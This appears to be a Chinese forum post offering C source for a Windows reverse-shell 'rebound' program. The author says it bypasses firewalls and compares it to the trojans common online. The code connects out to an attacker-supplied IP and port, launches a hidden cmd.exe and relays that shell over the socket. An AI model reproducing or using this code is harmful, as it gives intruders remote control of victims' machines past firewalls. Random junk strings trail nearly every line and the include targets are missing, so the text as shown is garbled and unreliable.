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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 1*,f  
>d%;+2  
/* ============================== EA8K*>'pv  
Rebound port in Windows NT |p}qK Fdi  
By wind,2006/7 /z9oPIJ=*  
===============================*/ h.(CAm%Y7  
#include w-LMV>+6|  
#include l.Iov?e1S  
bd_&=VLTC  
#pragma comment(lib,"wsock32.lib") 0j@gC0xu)|  
<KlG#7M>  
void OutputShell(); eX;C.[&7;8  
SOCKET sClient; CvS}U%   
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Z(k7&^d  
)OpB\k  
void main(int argc,char **argv) d ]R&mp|'  
{ wGr5V!  
WSADATA stWsaData;  !*5vXN  
int nRet; 3=SIIMp7=  
SOCKADDR_IN stSaiClient,stSaiServer; hE@s~ ~JYd  
$)8b)Tb  
if(argc != 3) gTa6%GM>  
{ Y%m^V?k  
printf("Useage:\n\rRebound DestIP DestPort\n"); KF(N=?KO  
return; {@ ygq-TZ  
} b\& |030+  
?VaWOwWI  
WSAStartup(MAKEWORD(2,2),&stWsaData); lky{<jZ%  
K =nW|^  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); V~([{  
N{w)}me[YY  
stSaiClient.sin_family = AF_INET; wC{?@ h  
stSaiClient.sin_port = htons(0); I:?1(.kd2-  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); SkU'JM7<95  
'@t}8J  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) no ).70K  
{ 4'9yMXR  
printf("Bind Socket Failed!\n"); csABfxib  
return; W(.q. Sx>  
} [Tmpj9! q  
zI1-l9 o  
stSaiServer.sin_family = AF_INET; ;]XKe')  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); w%Vw*i6o  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); A"ApWJ3  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ~ A?  
{ w&VMb&<  
printf("Connect Error!"); cVk&Yp;[*  
return; b9FfDDOq"  
} nZ7FG  
OutputShell(); ] A.:8;  
} 1VRe xp  
/>FgDIO  
void OutputShell() Bg3`w__l;  
{ ,j^z];  
char szBuff[1024]; <B"M} Y>_P  
SECURITY_ATTRIBUTES stSecurityAttributes; afE`GG-  
OSVERSIONINFO stOsversionInfo; >Z-f</v03  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; p)'.swpJ  
STARTUPINFO stStartupInfo; %uA\Le  
char *szShell; 5BWO7F0v"  
PROCESS_INFORMATION stProcessInformation; yhwwF n\  
unsigned long lBytesRead; {6E&\  
VEUdw(-?s  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 4Og&w]  
DSb/+8KT  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 'Ll,HgU;  
stSecurityAttributes.lpSecurityDescriptor = 0; #*r u*  
stSecurityAttributes.bInheritHandle = TRUE; [,_4#Zz  
b3$aPwv  
Dj0`#~  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); %#g9d  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 9#C hn~ \  
e(t,~(  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ~ 8hAmM  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;ndsq[k>  
stStartupInfo.wShowWindow = SW_HIDE; <Vu/6"DP  
stStartupInfo.hStdInput = hReadPipe; {Ftz4y)6  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; cU`sA_f  
n+Bh-aV  
GetVersionEx(&stOsversionInfo); ?<7o\Xk#{  
HZ>8@AVa\  
switch(stOsversionInfo.dwPlatformId) !4gyrNS  
{ r&qF v)0!`  
case 1: qhNY<  
szShell = "command.com"; r@j$$Pk`  
break; F% <hng%k  
default: ]gxt+'iAFS  
szShell = "cmd.exe"; Ry5/O?Q L  
break; }\p>h  
}  3)5Gzn  
e7fA-,DV  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); _!m_s5{  
Mwm=r//  
send(sClient,szMsg,77,0); _ 9@D o6  
while(1) bu&x& M*  
{ 7hQf T76h  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); >%vw(pt  
if(lBytesRead) Woo2hg-ti  
{ Z33&FUU  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 7.G1Q]6/  
send(sClient,szBuff,lBytesRead,0); 5)%bnLxn  
} GoVB1)  
else )T4%}$(  
{ H[K(Tt4<&  
lBytesRead=recv(sClient,szBuff,1024,0); iymOq9  
if(lBytesRead<=0) break; JjH#,@'.  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); {u/G!{N$  
} -]!m4xvK  
} 1r %~Rm  
W>ZL[BQ  
return; A..,.   
}
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